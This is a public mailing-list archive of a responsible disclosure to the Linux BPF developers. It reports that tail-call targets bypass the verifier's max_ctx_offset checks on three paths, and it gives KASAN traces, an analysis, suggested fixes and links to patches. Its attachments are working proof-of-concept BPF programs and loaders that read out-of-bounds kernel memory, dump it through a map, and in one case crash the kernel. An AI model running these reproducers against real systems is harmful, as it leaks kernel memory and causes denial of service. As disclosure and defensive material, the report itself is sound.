From: Pragyansh Chaturvedi <r41k0u@ubuntu.com>
To: bpf@vger.kernel.org
Cc: varunrmallya@gmail.com, kc@kcsrk.info, ngs@cse.iitm.ac.in,
ast@kernel.org, daniel@iogearbox.net, andrii@kernel.org,
eddyz87@gmail.com, yonghong.song@linux.dev, memxor@gmail.com,
netdev@vger.kernel.org, linux-kselftest@vger.kernel.org
Subject: bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats)
Date: Sat, 5 Dec 2026 14:36:20 +0530 [thread overview]
Message-ID: <axPUDKyHAFXUXdp_@x1c> (raw)
[-- Attachment #1: Type: text/plain, Size: 5722 bytes --]
Subject: bpf: tail-call targets bypass max_ctx_offset checks on raw_tp and tracepoint paths (OOB read, KASAN splat)
The verifier records the furthest ctx byte a program may read in
prog->aux->max_ctx_offset, and the raw_tp test_run, raw_tp attach, and
tracepoint attach paths each refuse a program whose max_ctx_offset
exceeds the ctx actually available. Every one of those checks looks
only at the program being run or attached; a PROG_ARRAY tail-call
target is never checked. A caller that never touches ctx keeps
max_ctx_offset = 0, passes the gate, and tail-calls a target that
reads far past the real buffer. Commit 08c987904970 ("bpf: Give a
syscall program the largest context when it does tail calls") closed
this for the SYSCALL test_run path only.
Verified live on bpf-next HEAD 289cd43f93ed (2026-12-03,
Linux 7.4.0-rc4), x86-64, KASAN + BPF_JIT_KASAN.
----------------------------------------------------------------------
Path 1: raw_tp test_run (net/bpf/test_run.c, bpf_prog_test_run_raw_tp)
ctx = memdup_user(ctx_in, ctx_size_in) with no tail_call_reachable
padding. Caller (max_ctx_offset 0) -> mid -> target (reads 96 bytes):
BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259
Read of size 8 at addr ffff88810486a818 by task ld-linux-x86-64/104
Not tainted 7.4.0-rc4-g289cd43f93ed #4
bpf_prog_..._target+0x2a/0x259
__bpf_prog_test_run_raw_tp+0x5b8/0x900
bpf_prog_test_run_raw_tp+0x42f/0x7e0
__sys_bpf+0x114e/0x5420
__x64_sys_bpf+0xd5/0x1f0
The buggy address belongs to the cache memdup_user-8 of size 8
The buggy address is located 16 bytes to the right of
allocated 8-byte region [ffff88810486a800, ffff88810486a808)
----------------------------------------------------------------------
Path 2: raw_tp attach (kernel/trace/bpf_trace.c, bpf_probe_register)
Caller attached to sched_switch (3 args, 24-byte stack buffer)
tail-calls a target reading 96 bytes:
BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x2e0/0x775
Read of size 8 at addr ffffc9000064f200 by task ld-linux-x86-64/112
Not tainted 7.4.0-rc4-g289cd43f93ed #4
bpf_prog_..._target+0x2e0/0x775
bpf_trace_run4+0x641/0xaa0
__schedule+0x1735/0x40f0
The buggy address belongs to stack of task ld-linux-x86-64/112
and is located at offset 128 in frame:
This frame has 2 objects:
[32, 64) 'run_ctx'
[96, 128) 'args' <- read starts at the first byte past 'args'
----------------------------------------------------------------------
Path 3: tracepoint attach (kernel/events/core.c,
__perf_event_set_bpf_prog; check is max_ctx_offset > tp arg size,
attached program only). Caller on sys_enter_nanosleep (32-byte
stack buffer).
With an 800-byte read the target program trips KASAN and then
crashes the kernel, on a clean boot:
BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x4ae/0x211e
Read of size 8 at addr ffffc9000067fda0 by task ld-linux-x86-64/105
Not tainted 7.4.0-rc4-g289cd43f93ed-dirty #5
bpf_prog_..._target+0x4ae/0x211e
trace_call_bpf_faultable+0x745/0xaf0
perf_call_bpf_enter+0x167/0x2b0
perf_syscall_enter+0x334/0xcd0
trace_syscall_enter+0x62/0xb0
do_syscall_64+0x41f/0x4d0
BUG: unable to handle page fault for address: ffffc90000680000
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
Oops: 0000 [#1] SMP KASAN NOPTI
RIP: 0010:bpf_prog_..._target+0x1de7/0x211e
trace_call_bpf_faultable+0x745/0xaf0
perf_syscall_enter+0x334/0xcd0
Note that trace_call_bpf_faultable() does not contain the read: the
JITed target's plain ctx loads are not covered by the faultable
wrapper, so the window runs off the task's vmalloc stack into the
guard page. This variant is therefore both a silent infoleak at
small windows and a reliable kernel crash at larger ones.
----------------------------------------------------------------------
Reproducers (CAP_BPF+CAP_PERFMON):
make && ./rawtp_chain_leak ; ./rawtp_attach_leak ; ./tp_attach_bypass
[sources attached]
----------------------------------------------------------------------
Analysis:
All three gates validate only the attached/run program:
net/bpf/test_run.c:796 ctx_size_in < prog->aux->max_ctx_offset
net/bpf/test_run.c:808 memdup_user(ctx_in, ctx_size_in), no pad
kernel/trace/bpf_trace.c:2209 max_ctx_offset > num_args*8 (attach)
kernel/events/core.c:11896 max_ctx_offset > off (attach)
prog_fd_array_get_ptr() / __bpf_prog_map_compatible() gate tail-call
targets on program type, sleepable, hook key, cgroup storage, but never
on max_ctx_offset.vmax_ctx_offset was never added to that list.
08c987904970 fixed the SYSCALL test_run instance of the same field, but
the other three paths were out of its scope.
Suggested fix:
Path 1: apply 08c987904970's treatment to bpf_prog_test_run_raw_tp()
(kvzalloc + pad to the max when the run program is
tail_call_reachable, mirroring the syscall path's
ctx_size_in < U16_MAX rejection).
Paths 2+3 are the design question: the buffer size is a property of
the hook, the requirement a property of arbitrary future tail-call
targets. Options:
(a) inflate the caller's max_ctx_offset to
U32_MAX when it contains bpf_tail_call (the fixup_tail_calls
pattern; correct but makes every tail-calling raw_tp/tp program
unattachable).
(b) zero-pad the on-stack arg buffers (bpf_trace_runN,
perf/tp enter) for tail-call-reachable callers.
(c) carry the real ctx size in the run context and bounds-check at
tail-call entry.
The gap exists since PROG_ARRAY tail calls (04fd61ab36ec, 2015) met
the max_ctx_offset checks. Every current release and bpf-next HEAD
have it.
Thanks
Pragyansh and Varun
[-- Attachment #2: rawtp_chain_leak.bpf.c --]
[-- Type: text/x-csrc, Size: 752 bytes --]
// SPDX-License-Identifier: GPL-2.0
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 2);
__type(key, __u32);
__type(value, __u32);
} jmp_table SEC(".maps");
__u64 sink;
SEC("raw_tracepoint/sched_switch")
int caller(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 0);
return 0;
}
SEC("raw_tracepoint/sched_switch")
int mid(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 1);
return 0;
}
SEC("raw_tracepoint/sched_switch")
int target(void *ctx) /* max_ctx_offset = 96 */
{
__u64 *a = ctx;
#pragma clang loop unroll(full)
for (int i = 0; i < 12; i++)
sink += a[i];
return 0;
}
char LICENSE[] SEC("license") = "GPL";
[-- Attachment #3: rawtp_chain_leak.c --]
[-- Type: text/x-csrc, Size: 1252 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* raw_tp chain caller->mid->target reads 96 bytes from an 8-byte test_run ctx. */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "rawtp_chain_leak.bpf.o";
unsigned char ctx[8] = { 1, 2, 3, 4, 5, 6, 7, 8 };
struct bpf_object *obj;
int map_fd, cfd, tfd, k;
obj = bpf_object__open_file(path, NULL);
if (libbpf_get_error(obj) || bpf_object__load(obj))
return perror("load"), 1;
map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table"));
cfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "caller"));
k = 0; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "mid"));
bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY);
k = 1; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "target"));
bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY);
LIBBPF_OPTS(bpf_test_run_opts, o, .ctx_in = ctx, .ctx_size_in = sizeof(ctx));
printf("target direct: %s\n",
bpf_prog_test_run_opts(tfd, &o) ? strerror(errno) : "accepted");
printf("via chain: %s\n",
bpf_prog_test_run_opts(cfd, &o) ? strerror(errno) : "accepted");
return 0;
}
[-- Attachment #4: rawtp_attach_leak.bpf.c --]
[-- Type: text/x-csrc, Size: 1014 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: target exfiltrates the 96 bytes it reads via `out`.
* sched_switch raw_tp has 3 args = 24 bytes; indices >= 3 are OOB.
*/
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} jmp_table SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 12);
__type(key, __u32);
__type(value, __u64);
} out SEC(".maps");
__u64 sink;
SEC("raw_tracepoint/sched_switch")
int caller(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 0);
return 0;
}
SEC("raw_tracepoint/sched_switch")
int target(void *ctx) /* max_ctx_offset = 96; sched_switch has 3 args */
{
__u64 *a = ctx;
#pragma clang loop unroll(full)
for (int i = 0; i < 12; i++) {
__u32 k = i;
__u64 v = a[i];
sink += v;
bpf_map_update_elem(&out, &k, &v, BPF_ANY);
}
return 0;
}
char LICENSE[] SEC("license") = "GPL";
[-- Attachment #5: rawtp_attach_leak.c --]
[-- Type: text/x-csrc, Size: 1458 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: dumps the exfiltrated words; indices >= 3 (byte >= 24) are OOB. */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "rawtp_attach_leak.bpf.o";
struct bpf_program *caller, *target;
struct bpf_object *obj;
int map_fd, out_fd, tfd, key = 0;
obj = bpf_object__open_file(path, NULL);
if (libbpf_get_error(obj) || bpf_object__load(obj))
return perror("load"), 1;
caller = bpf_object__find_program_by_name(obj, "caller");
target = bpf_object__find_program_by_name(obj, "target");
map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table"));
out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out"));
tfd = bpf_program__fd(target);
printf("target direct attach: %s\n",
bpf_program__attach_raw_tracepoint(target, "sched_switch") ?
"ACCEPTED" : strerror(errno));
bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY);
if (!bpf_program__attach_raw_tracepoint(caller, "sched_switch"))
return perror("attach caller"), 1;
printf("caller attach: ACCEPTED\n");
usleep(100000);
for (int i = 0; i < 12; i++) {
unsigned long long v = 0;
bpf_map_lookup_elem(out_fd, &i, &v);
printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v,
i >= 3 ? " <- OOB (past 24-byte arg buffer)" : "");
}
return 0;
}
[-- Attachment #6: tp_attach_bypass.bpf.c --]
[-- Type: text/x-csrc, Size: 1088 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: target exfiltrates the 248 bytes it reads via `out`.
* sys_enter_nanosleep tp buffer: 8B common + 8B nr + 2 args = 32 bytes;
* indices >= 4 (byte offset >= 32) are OOB.
*/
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} jmp_table SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 32);
__type(key, __u32);
__type(value, __u64);
} out SEC(".maps");
__u64 sink;
SEC("tracepoint/syscalls/sys_enter_nanosleep")
int caller(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 0);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_nanosleep")
int target(void *ctx) /* max_ctx_offset = 256 */
{
__u64 *a = ctx;
#pragma clang loop unroll(full)
for (int i = 1; i < 100; i++) {
__u64 v = a[i];
sink += v;
if (i < 32) {
__u32 k = i;
bpf_map_update_elem(&out, &k, &v, BPF_ANY);
}
}
return 0;
}
char LICENSE[] SEC("license") = "GPL";
[-- Attachment #7: tp_attach_bypass.c --]
[-- Type: text/x-csrc, Size: 1672 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: dumps the exfiltrated words; indices >= 4 (byte >= 32) are OOB. */
#include <errno.h>
#include <stdio.h>
#include <time.h>
#include <sys/syscall.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "tp_attach_bypass.bpf.o";
struct bpf_program *caller, *target;
struct bpf_object *obj;
int map_fd, out_fd, tfd, key = 0;
obj = bpf_object__open_file(path, NULL);
if (libbpf_get_error(obj) || bpf_object__load(obj))
return perror("load"), 1;
caller = bpf_object__find_program_by_name(obj, "caller");
target = bpf_object__find_program_by_name(obj, "target");
map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table"));
out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out"));
tfd = bpf_program__fd(target);
printf("target direct attach: %s\n",
bpf_program__attach_tracepoint(target, "syscalls", "sys_enter_nanosleep") ?
"ACCEPTED" : strerror(errno));
bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY);
if (!bpf_program__attach_tracepoint(caller, "syscalls", "sys_enter_nanosleep"))
return perror("attach caller"), 1;
printf("caller attach: ACCEPTED\n");
struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 };
syscall(SYS_nanosleep, &ts, NULL); /* glibc nanosleep() uses clock_nanosleep; we want nr 35 */
for (int i = 1; i < 32; i++) {
unsigned long long v = 0;
bpf_map_lookup_elem(out_fd, &i, &v);
printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v,
i >= 4 ? " <- OOB (past 32-byte tp buffer)" : "");
}
return 0;
}
[-- Attachment #8: Makefile --]
[-- Type: text/plain, Size: 281 bytes --]
PROGS := rawtp_chain_leak rawtp_attach_leak tp_attach_bypass
all: $(PROGS) $(addsuffix .bpf.o,$(PROGS))
%.bpf.o: %.bpf.c
clang -O2 -g -target bpf -c $< -o $@
%: %.c
$(CC) -O2 -o $@ $< -lbpf -lelf -lz -lzstd
clean:
rm -f $(PROGS) $(addsuffix .bpf.o,$(PROGS))
.PHONY: all clean
next reply other threads:[~2026-12-05 9:06 UTC|newest]
Thread overview: 7+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-12-05 9:06 Pragyansh Chaturvedi [this message]
2026-12-05 9:09 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls Pragyansh Chaturvedi
2026-12-05 9:09 ` [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for " Pragyansh Chaturvedi
2026-12-05 9:25 ` sashiko-bot
2026-12-05 9:35 ` bot+bpf-ci
2026-12-05 9:26 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does " sashiko-bot
2026-12-05 9:35 ` bot+bpf-ci
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=axPUDKyHAFXUXdp_@x1c \
--to=r41k0u@ubuntu.com \
--cc=andrii@kernel.org \
--cc=ast@kernel.org \
--cc=bpf@vger.kernel.org \
--cc=daniel@iogearbox.net \
--cc=eddyz87@gmail.com \
--cc=kc@kcsrk.info \
--cc=linux-kselftest@vger.kernel.org \
--cc=memxor@gmail.com \
--cc=netdev@vger.kernel.org \
--cc=ngs@cse.iitm.ac.in \
--cc=varunrmallya@gmail.com \
--cc=yonghong.song@linux.dev \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox